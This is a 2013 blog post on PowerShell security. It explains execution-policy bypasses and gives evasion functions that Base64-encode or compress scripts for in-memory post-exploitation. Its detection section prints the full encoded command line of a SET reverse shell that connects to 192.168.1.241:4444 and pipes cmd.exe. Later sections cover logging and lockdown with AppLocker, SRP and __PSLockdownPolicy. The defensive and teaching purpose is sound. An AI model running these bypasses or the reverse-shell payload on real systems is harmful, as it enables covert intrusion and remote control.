PowerShell Basics - Execution Policy and Code Signing Part 2
Wednesday, March 20, 2013 at 9:25PM
Carlos Perez

In my previous blog post where I covered Execution Policy and Code Signing I mentioned that these steps where only useful for content that is downloaded from the internet and to prevent accidental execution of scripts. Microsoft when they designed PowerShell they placed the control over it in to the user account control, in other words PowerShell will execute and have access to what the account has access to and the control stop at that. I will be honest I find the lack of control in terms of setting permission on Cmdlets and what can be executed a flawed way of implementing security, the though process that Microsoft used is that ones malware or a attacker is already present on the system there is not much one can do. I do not agree with this train of thought and I would like to explain why :

Those are my main points and I know many will disagree but I wanted you the reader to know where I stand on the lack of controls and to even providing such simple way to bypass the control that are in place that could have been easily been extended to cover more that accidental execution and/or downloaded code.

Bypassing Execution Policy from the Command Line

Powershell.exe provides several ways to bypass the Execution Policy on the system quite easily, in fact one only needs to look at the executable help message to see, execute the following either in a PowerShell session or in a Command Prompt Window:

powershell.exe -h

You will see several options that can be set during execution and different ways to execute commands or scripts using the executable. In PowerShell the Execution Policy is set in the variable $env:PSExecutionPolicyPreference and it can be manipulated by a user in the session:

C:\> Get-ExecutionPolicy 
RemoteSigned
C:\> $env:PSExecutionPolicyPreference = "Restricted" C:\> Get-ExecutionPolicy
Restricted
C:\>

When executing PowerShell we can use the –ExecutionPolicy parameter, here is the help description of the parameter:

-ExecutionPolicy
    Sets the default execution policy for the current session and saves it
    in the $env:PSExecutionPolicyPreference environment variable.
    This parameter does not change the Windows PowerShell execution policy
    that is set in the registry.

The option will allow an attacker or a user just execute a PowerShell script disregarding the policy settings, remember the execution policy is to minimize accidental execution of code not for control. Lets look at a simple Hello World Script:

PS C:\Users\Carlos\Desktop> powershell.exe .\HelloWorld.ps1
. : File C:\Users\Carlos\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 cannot be loaded because running
scripts is disabled on this system. For more information, see about_Execution_Policies at
http://go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:3
+ . 'C:\Users\Carlos\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1'
+   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : SecurityError: (:) [], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess
.\HelloWorld.ps1 : File C:\Users\Carlos\Desktop\HelloWorld.ps1 cannot be loaded because running scripts is disabled on
this system. For more information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ .\HelloWorld.ps1
+ ~~~~~~~~~~~~~~~~
    + CategoryInfo          : SecurityError: (:) [], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess
PS C:\Users\Carlos\Desktop> powershell.exe -executionpolicy remotesigned .\HelloWorld.ps1
Hello World

 

As we can see the policy was bypassed ad designed. An attacker with knowledge would not want to write his script to the file system since an AV might catch it so an option he has is to encode the script in to a Base64 string allowing him to have all kind of characters that would not be possible in a command line passing the command to powershell with the –command &{<command>} option. The PowerShell team is nice enough to provide you with an example on how to encode it:

# To use the -EncodedCommand parameter:

$command = 'dir "c:\program files" '

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

powershell.exe -encodedCommand $encodedCommand

The use of an encoded command or script is useful since it will not write the file to disk and execute it, but it suffers from Windows limitation of length of a command as stated in http://support.microsoft.com/kb/830473 the limitation is of 8190 characters on modern versions of Windows that are able to run PowerShell. I have PowerShell module where I keep most of my security related functions and cmdlets called Posh-SecMod and it is located in https://github.com/darkoperator/Posh-SecMod in this module I have some simple functions for encoding commands and scripts. The function we will look at is under the PostExploitation submodule of Posh-SecMod and it is called ConvertTo-PostBase64Command:

PS C:\Windows\system32> help ConvertTo-PostBase64Command

NAME
    ConvertTo-PostBase64Command

SYNOPSIS
    Converts a given PowerShell command string in to an Encoded Base64 command.


SYNTAX
    ConvertTo-PostBase64Command [-Command]  []

    ConvertTo-PostBase64Command [-File]  []


DESCRIPTION
    Converts a given PowerShell command string in to an Encoded Base64 command.


RELATED LINKS

REMARKS
    To see the examples, type: "get-help ConvertTo-PostBase64Command -examples".
    For more information, type: "get-help ConvertTo-PostBase64Command -detailed".
    For technical information, type: "get-help ConvertTo-PostBase64Command -full".

Here is the code for the function:

function ConvertTo-PostBase64Command

{

[CmdletBinding()]

Param

(

# Command to Encode

[Parameter(Mandatory=$true,

ValueFromPipelineByPropertyName=$true,

ParameterSetName="command",

Position=0)]

[String]$Command,

# PowerShell Script to Encode

[Parameter(Mandatory=$true,

ParameterSetName="file",

Position=0)]

[ValidateScript({Test-Path $_})]

[String]$File

)

Begin

{

}

Process

{

switch ($PsCmdlet.ParameterSetName)

{

"command" {$contents = $Command}

"file" {$contents = [system.io.file]::ReadAllText($File)}

}

$bytes = [Text.Encoding]::Unicode.GetBytes($contents)

$encodedCommand = [Convert]::ToBase64String($bytes)

# If to long tell the user

if ($encodedCommand.Length -gt 8100)

{

Write-Warning "Encoded command may be to long to run vian -EncodedCommand of Powershell.exe"

}

}

End

{

$encodedCommand

}

}

The function is quite simple it can take either a command or a script file and encodes it as a Base64 String

PS C:\Windows\system32> Import-Module posh-secmod
PS C:\Windows\system32> ConvertTo-PostBase64Command -File C:\Users\Carlos\Desktop\HelloWorld.ps1
dwByAGkAdABlAC0AaABvAHMAdAAgACIASABlAGwAbABvACAAVwBvAHIAbABkACIA
PS C:\Windows\system32> powershell.exe -encodedcommand dwByAGkAdABlAC0AaABvAHMAdAAgACIASABlAGwAbABvACAAVwBvAHIAbABkACIA
Hello World

 

If the script is to big we can compress the script and use PowerShell .Net capabilities to decompress it in memory and execute it with Compress-PostScript:

PS C:\Windows\system32> help Compress-PostScript

NAME
    Compress-PostScript

SYNOPSIS
    Will compress a script for use in Post-Exploitation with Powershell.exe


SYNTAX
    Compress-PostScript [-File]  []


DESCRIPTION
    Will compress a given script and return a command that can be used with PowerShell.exe -command 


RELATED LINKS

REMARKS
    To see the examples, type: "get-help Compress-PostScript -examples".
    For more information, type: "get-help Compress-PostScript -detailed".
    For technical information, type: "get-help Compress-PostScript -full".

The code for the function is:

function Compress-PostScript

{

[CmdletBinding()]

Param

(

# Param1 help description

[Parameter(Mandatory=$true,

ValueFromPipeline=$true,

Position=0)]

[ValidateScript({Test-Path $_})]

$File

)

Begin

{

}

Process

{

# Get Content of Script

$contents = [system.io.file]::ReadAllText($File)

# Compress Script

$ms = New-Object IO.MemoryStream

$action = [IO.Compression.CompressionMode]::Compress

$cs = New-Object IO.Compression.DeflateStream ($ms,$action)

$sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)

$contents | ForEach-Object {$sw.WriteLine($_)}

$sw.Close()

# Base64 encode stream

$code = [Convert]::ToBase64String($ms.ToArray())

$command = "Invoke-Expression `$(New-Object IO.StreamReader (" +

"`$(New-Object IO.Compression.DeflateStream (" +

"`$(New-Object IO.MemoryStream (,"+

"`$([Convert]::FromBase64String('$code')))), " +

"[IO.Compression.CompressionMode]::Decompress)),"+

" [Text.Encoding]::ASCII)).ReadToEnd();"

# If to long tell the user

if ($command.Length -gt 8100)

{

Write-Warning "Compresses Script may be to long to run via -EncodedCommand of Powershell.exe"

}

}

End

{

$command

}

}

 

We encode first in PowerShell:

PS C:\Users\Carlos>  Compress-PostScript -File C:\Users\Carlos\Desktop\HelloWorld.ps1
Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('Ky/KLEnVzcgvLlFQ8kjNyclXCM8vyklR4uUCAA==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Enc
oding]::ASCII)).ReadToEnd();

Now we can run the command in cmd.exe as:

C:\Program Files\Console2>powershell.exe -command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('Ky/KLEnVzcgvLlFQ8kjNyclXCM8vyklR4uUCAA==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"

Hello World

The compression idea came from the evil mind of Dave Kennedy founder and CEO of Trustsec, he is also the author of SET (Social Engineering Toolkit) this toolkit has several payloads for us in phishing campaigns where PowerShell is used to create backdoors and inject payloads in to memory.

Detecting Abuse

I know there are many other ways to Base64 encode and run the commands via the command line but the ones I just covered are the main ones. The first thing that needs to be done is to enable process tracking so we are able to know what ran on  box a a given time. To enable Process tracking one would go in the Group Policy settings Local Computer Policy –> Computer Configuration –> Windows Settings –> Security Settings –> Local Policies –> Audit Policies

image

Now when any new process is started it will be logged in the event log, you should also configure the event log properties on how you want to retain logs but that will vary by environment and in some cases even by regulations. On modern versions of Windows (not XP or 2003) it will generate events in the security log with the EventID of 4688. We can use PowerShell it self to find these events:

C:\Windows\system32> Get-EventLog -LogName security -InstanceId 4688 | where {$_.message -like "*powershell*"}

   Index Time          EntryType   Source                 InstanceID Message
   ----- ----          ---------   ------                 ---------- -------
   14674 Mar 19 10:23  SuccessA... Microsoft-Windows...         4688 A new process has been created....
   14661 Mar 19 10:22  SuccessA... Microsoft-Windows...         4688 A new process has been created....
   14640 Mar 19 10:20  SuccessA... Microsoft-Windows...         4688 A new process has been created....

 

The only problem with process tracking is that it does not cover the command line arguments used to start the process. This information is critical when trying to figure out what an attacker did when PowerShell was just started and ended, when the process is left running say in the case of a reverse shell we can use the information to figure out what it is doing. Lets take for example a PowerShell reverse shell from SET when it runs on a target hosts a PowerShell.exe process is left behind and we can retrieve the code that was ran by using WMI to get the full command line used for the process:

C:\Windows\system32> Get-WmiObject win32_process | where name -eq powershell.exe | select commandline

commandline
-----------
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"  -encodedcommand ZgB1AG4AYwB0AGkAbwBuACAAYwBsAGUAYQBuAHU...


C:\Windows\system32> Get-WmiObject win32_process | where name -eq powershell.exe | select commandline | select -Last 1 | fl *


commandline : "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"  -encodedcommand ZgB1AG4AYwB0AGkAbwBuACAAYwBs
              AGUAYQBuAHUAcAAgAHsADQAKAGkAZgAgACgAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBlAHEAIAAkAHQAcgB1A
              GUAKQAgAHsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAfQANAAoAaQBmACAAKAAkAHAAcgBvAGMAZQBzAHMALgBFAHgAaQB0AE
              MAbwBkAGUAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAkAHAAcgBvAGMAZQBzAHMALgBDAGwAbwBzAGUAKAApAH0ADQAKAGUAeABpAHQ
              AfQANAAoAJABhAGQAZAByAGUAcwBzACAAPQAgACcAMQA5ADIALgAxADYAOAAuADEALgAyADQAMQAnAA0ACgAkAHAAbwByAHQAIAA9ACAA
              JwA0ADQANAA0ACcADQAKACQAYwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQAL
              gBzAG8AYwBrAGUAdABzAC4AdABjAHAAYwBsAGkAZQBuAHQADQAKACQAYwBsAGkAZQBuAHQALgBjAG8AbgBuAGUAYwB0ACgAJABhAGQAZA
              ByAGUAcwBzACwAJABwAG8AcgB0ACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQB
              tACgAKQANAAoAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAu
              AEIAeQB0AGUAWwBdACAAJABjAGwAaQBlAG4AdAAuAFIAZQBjAGUAaQB2AGUAQgB1AGYAZgBlAHIAUwBpAHoAZQANAAoAJABwAHIAbwBjA
              GUAcwBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAG
              MAZQBzAHMADQAKACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAHIAdABJAG4AZgBvAC4ARgBpAGwAZQBOAGEAbQBlACAAPQAgACcAQwA6AFw
              AXAB3AGkAbgBkAG8AdwBzAFwAXABzAHkAcwB0AGUAbQAzADIAXABcAGMAbQBkAC4AZQB4AGUAJwANAAoAJABwAHIAbwBjAGUAcwBzAC4A
              UwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAxAA0ACgAkAHAAc
              gBvAGMAZQBzAHMALgBTAHQAYQByAHQASQBuAGYAbwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAIA
              A9ACAAMQANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA
              gAD0AIAAwAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQAKAApAA0ACgAkAGkAbgBwAHUAdABzAHQAcgBlAGEAbQAgAD0AIAAk
              AHAAcgBvAGMAZQBzAHMALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AA0ACgAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtACAAPQAgA
              CQAcAByAG8AYwBlAHMAcwAuAFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMQANAA
              oAJABlAG4AYwBvAGQAaQBuAGcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAcwBjAGk
              AaQBFAG4AYwBvAGQAaQBuAGcADQAKAHcAaABpAGwAZQAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBQAGUAZQBrACgAKQAgAC0A
              bgBlACAALQAxACkAewAkAG8AdQB0ACAAKwA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAc
              AB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAGUAbgBjAG8AZA
              BpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsADAALAAkAG8AdQB0AC4ATABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAA
              gAD0AIAAkAG4AdQBsAGwAOwAgACQAZABvAG4AZQAgAD0AIAAkAGYAYQBsAHMAZQA7ACAAJAB0AGUAcwB0AGkAbgBnACAAPQAgADAAOwAN
              AAoAdwBoAGkAbABlACAAKAAtAG4AbwB0ACAAJABkAG8AbgBlACkAIAB7AA0ACgBpAGYAIAAoACQAYwBsAGkAZQBuAHQALgBDAG8AbgBuA
              GUAYwB0AGUAZAAgAC0AbgBlACAAJAB0AHIAdQBlACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAJABwAG8AcwAgAD0AIAAwADsAIAAkAG
              kAIAA9ACAAMQANAAoAdwBoAGkAbABlACAAKAAoACQAaQAgAC0AZwB0ACAAMAApACAALQBhAG4AZAAgACgAJABwAG8AcwAgAC0AbAB0ACA
              AJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByAC4ATABlAG4AZwB0AGgAKQApACAAewANAAoAJAByAGUAYQBkACAAPQAgACQAcwB0AHIA
              ZQBhAG0ALgBSAGUAYQBkACgAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACwAJABwAG8AcwAsACQAbgBlAHQAdwBvAHIAawBiAHUAZ
              gBmAGUAcgAuAEwAZQBuAGcAdABoACAALQAgACQAcABvAHMAKQANAAoAJABwAG8AcwArAD0AJAByAGUAYQBkADsAIABpAGYAIAAoACQAcA
              BvAHMAIAAtAGEAbgBkACAAKAAkAG4AZQB0AHcAbwByAGsAYgB1AGYAZgBlAHIAWwAwAC4ALgAkACgAJABwAG8AcwAtADEAKQBdACAALQB
              jAG8AbgB0AGEAaQBuAHMAIAAxADAAKQApACAAewBiAHIAZQBhAGsAfQB9AA0ACgBpAGYAIAAoACQAcABvAHMAIAAtAGcAdAAgADAAKQAg
              AHsADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbgBlAHQAdwBvA
              HIAawBiAHUAZgBmAGUAcgAsADAALAAkAHAAbwBzACkADQAKACQAaQBuAHAAdQB0AHMAdAByAGUAYQBtAC4AdwByAGkAdABlACgAJABzAH
              QAcgBpAG4AZwApAA0ACgBzAHQAYQByAHQALQBzAGwAZQBlAHAAIAAxAA0ACgBpAGYAIAAoACQAcAByAG8AYwBlAHMAcwAuAEUAeABpAHQ
              AQwBvAGQAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAZQBsAHMAZQAgAHsADQAKACQAbwB1AHQA
              IAA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAY
              QBkACgAKQApAA0ACgB3AGgAaQBsAGUAKAAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtAC4AUABlAGUAawAoACkAIAAtAG4AZQAgAC0AMQ
              ApAHsADQAKACQAbwB1AHQAIAArAD0AIAAkAGUAbgBjAG8AZABpAG4AZwAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAHUAdABwAHUAdAB
              zAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAApACkAOwAgAGkAZgAgACgAJABvAHUAdAAgAC0AZQBxACAAJABzAHQAcgBpAG4AZwApACAAewAk
              AG8AdQB0ACAAPQAgACcAJwB9AH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAGUAbgBjAG8AZABpAG4AZwAuAEcAZQB0A
              EIAeQB0AGUAcwAoACQAbwB1AHQAKQAsADAALAAkAG8AdQB0AC4AbABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAG
              wADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABuAHUAbABsAH0AfQAgAGUAbABzAGUAIAB7AGMAbABlAGEAbgB1AHAAfQB9AA==

We can take that Base64 encoded script and decode it to see what it is happing, sadly most attacks leveraging PowerShell do not do it this way they run and exit, so a monitoring solution that can keep a log of the process command line would be ideal.

If you have upgraded the version of Windows Management Framework on all your servers and desktops (with the exception of Sharepoint 2010 and Exchange 2010 since PSv3 is incompatible at the moment) Microsoft added the ability to log the objects used in the pipeline for selected PowerShell Modules allowing us to track some of the actions taken in PowerShell.

In the Group Policy Management Console you can create a policy to manage PowerShell settings and go to Computer Configuration –> Policies –>Administrative Template–> Windows Components and double click on Turn Module Logging image

Click on Enable and the on Show to set the filter for the modules:

image

 

Create filters for the most common modules that may be abused like:

Your environment will dictate what you monitor for.

image

Click on Ok and then OK on the next window. You will see we can also control the default execution policy settings, you may have to set several different policies for execution policy depending on your environment.

Now when cmdlets are executed we can see events with ID 800 that logs the objects that went over the pipeline. for example if a user executes Get-Process the objects go internally thru the pipeline to be shown in the console and we can see in the event log the objects that went thru it:

image

 

Controlling Execution

As you may have seen controlling execution is not easy, the old and tried method of setting ACL (Access Control Lists) on the PowerShell.exe is always an alternative, but not the best since an attacker can upload his own copy of PowerShell. Microsoft has 2 solutions available for administrators to manage the execution of software in Windows and these are:

Each has it pros and cons and require very well planned implementation. The first thing is what each technology supports using GPO, Applocker:

SRP :

Each solution also have different features, there is a bit of overlap as you can see in the table I got from http://en-us.sysadmins.lv/Lists/Posts/Post.aspx?List=332991f0%2Dbfed%2D4143%2D9eea%2Df521167d287c&ID=83 

Feature

SRP

AppLocker

Rules applies to (in a single GPO):

All users

Specified users and groups

Default action level

Unrestricted

Deny

Has explicit “Allow” action

clip_image001

clip_image001[1]

Has explicit “Deny” actions

clip_image001[2]

clip_image001[3]

Has special action

clip_image001[4]

clip_image002

Certificate rules

clip_image001[5]

clip_image002[1]

Publisher rules

clip_image002[2]

clip_image001[6]

Hash rules

clip_image001[7]

clip_image001[8]

Network zone rules

clip_image001[9]

clip_image002[3]

Path rules

clip_image001[10]

clip_image001[11]

System environment variables

clip_image001[12]

clip_image002[4]

Special environment variables

clip_image002[5]

clip_image001[13]

Can read paths from registry

clip_image001[14]

clip_image002[6]

Audit mode

clip_image001[15]

clip_image001[16]

Rule collections

clip_image002[7]

clip_image001[17]

Rule creation wizard

clip_image001[18]

clip_image001[19]

Policy export/import

clip_image002[8]

clip_image001[20]

PowerShell support

clip_image002[9]

clip_image001[21]

Error messages when application is blocked

clip_image001[22]

clip_image001[23]

Configurable extension list

clip_image001[24]

clip_image002[10]

Can control Metro apps

clip_image002[11]

clip_image001[25]

 

In my personal experience I prefer AppLocker just because I can assign rules by user groups and can also control future versions of the application, but it is limited by it’s limited support of the versions of Windows it support. If you have a standard build and have an environment very well controlled this would be the best solution but sadly some environments do not have this level of organization or have suffered from the new BYOD (Bring Your Own Device) policies that have become popular and made it very difficult to control configuration and enforce polices in many environment. SRP can be used but organization will depend on Organizational Unit design since the policies would be linked to each and controlled by WMI filters so as to be able to target the proper systems with the policies. So in very few words one requires more planning and the other is limited in terms of versions of  Windows that are supported.

Which ever solution you decide to use one thing to remember if your users run with administrative privileges in their boxes they can bypass and disable the policies. Not only that but if they are tricked in to running code it will run as administrator so do plan accordingly, monitoring and flagging on attempted executions of the PowerShell executable will allow you to react in time, so you can look at this as a an early warning system and when you put together other types of logging information it will provide you with a good set of information from which to act upon and make decisions.

As you can see locking down who can actually can execute PowerShell will take a bit of planning and testing. I recommend you do this in a lab and use the solution that best fits your needs.

PowerShell v3 PSLockdownPolicy

In PowerShell v3 a feature that was added was the __PSLockDownPolicy environment variable which allows to control of object types that can be used and created in PowerShell. This is used by Windows 8 RT to lockdown the PowerShell environment. Sadly Microsoft has not documented or made any information publicly available officially on the levels that can be set and what each of the levels can do. This does not stop us from using it. When used the constraint mode  will block most post exploitation scripts and commands I have seen in publicly available toolkits so I would recommend it as an extra lockdown step you can take for your hosts that use PowerShell v3.  Now do take in to consideration that this will also block some module and legitimate scripts to run so do test and be careful. To use this we can create a new group policy and choose in it Computer Configuration –> Preferences –> Windows Settings –> Environment

image

Create a new entry for an Environment Variable and set it to Update so if not created it will and if it has another value it will change it back. Set it to __PSLockdownpolicy and set the value to 4

image

You can click on OK and then apply then link the policy to any OU you want and use WMI filters to control on which host it is applied on.  Now you should use this in conjunction with WMI filters so as to target only those systems where you have deployed PowerShell v3. Again like with AppLocker and SRP if the user is able to run PowerShell with Administrative privileges he may be able to change the variable value for he current session by passing the control, but it will more than likely block most automated tools out there. Thanks to Matt Graeber for recommending the use of the variable and helping me test what scenarios it would apply to.

As Always I hope you found the blog post useful and informative.

Article originally appeared on Security and Networking (http://darkoperator.squarespace.com/).
See website for complete article licensing information.